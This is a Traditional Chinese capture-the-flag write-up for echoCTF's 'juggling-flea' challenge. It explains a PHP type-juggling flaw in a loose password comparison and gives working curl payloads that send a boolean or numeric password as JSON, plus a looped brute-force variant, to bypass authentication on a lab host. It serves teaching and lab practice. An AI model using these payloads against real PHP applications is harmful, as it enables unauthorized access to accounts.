echoCTF - juggling-flea writeup (zh-TW)

題目資訊
- 平台: echoCTF
- 分類: Web Security
- 難度: CTF Beginners (300 points)
- 描述: "This API changes password with every request, see if you can find a way to authenticate successfully. There is no need for brute-forcing the authentication with random passwords..."
- 題目連結: https://echoctf.red/target/53
解題過程
Step 1: 初步偵察 訪問網站,頁面直接顯示 PHP 源代碼:
<?php
if (empty($_POST))
{
highlight_file(__FILE__);
exit;
}
$randno=intval(rand()%10);
$mypassword=$randno.md5(time());
// ...
if($auth->password==$mypassword) // 弱比較!
關鍵發現:
- 密碼格式:隨機數字(0-9) + MD5(time())
- 使用
==
進行弱比較 - 需要 POST 請求且
$_POST
不能為空
Step 2: 分析題目名稱 "juggling-flea" 暗示 PHP Type Juggling 漏洞
Step 3: 理解 PHP Type Juggling 在 PHP 弱比較中,布林值與字串比較規則:
true == "任何非空字串" // 永遠 TRUE
因為 $mypassword
永遠是非空字串(數字+MD5),所以 true == $mypassword
必定成立
Step 4: 繞過 $_POST 檢查 關鍵技巧:不設定 Content-Type: application/json
- 讓
$_POST
有值(繞過檢查) php://input
仍包含 JSON 資料json_decode()
可正常解析
Step 5: 成功獲得 Flag
curl -s http://10.0.41.14:1337/ \
-d '{"username":"admin","password":true}'
一次成功!
Flag: ETSCTF_REDACTED
學習重點
- 布林值繞過最穩定:不需要碰運氣(可參考下面解法),100% 成功率
- 理解 $_POST vs php://input:
$_POST
只在特定 Content-Type 時填充php://input
永遠包含原始請求body
- PHP 弱比較危險性:永遠使用
===
進行安全比較
經驗分享
在解這題時,其實還有其他測試方法,可以供參考:
嘗試數字 Type Juggling
理解到 7 == "7abc..."
會是 TRUE,開始循環嘗試:
while true; do
curl -X POST http://10.0.41.14:1337/ \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":7}'
done
問題:一直返回 PHP 源代碼,因為加了 JSON header 導致 $_POST
為空,這是題目的另一個小心思,需要繞過
所以要改成
while true; do
curl -X POST http://10.0.41.14:1337/ \
-d '{"username":"admin","password":7}'
done
這樣就可以直接暴力破解出來,等於_POST不為空,會走php://input,通過之後,遲早會有弱比較密碼正確的時候,可以發現經過迴圈終於找到ETSCTF_REDACTED
└─$ while true; do
curl -X POST http://10.0.41.14:1337/ \
-d '{"username":"admin","password":7}'
done
{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"success":{"message":"Correct password here is your flag ETSCTF_REDACTED"}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}
總結來說,我是最後才發現,只要不加 Content-Type
header,問題就解決了!而且用布林值 true
比用數字更穩定,直接一次成功,不用一直走迴圈,此外這也有觸碰到基本的程式碼審計,是我比較弱的領域。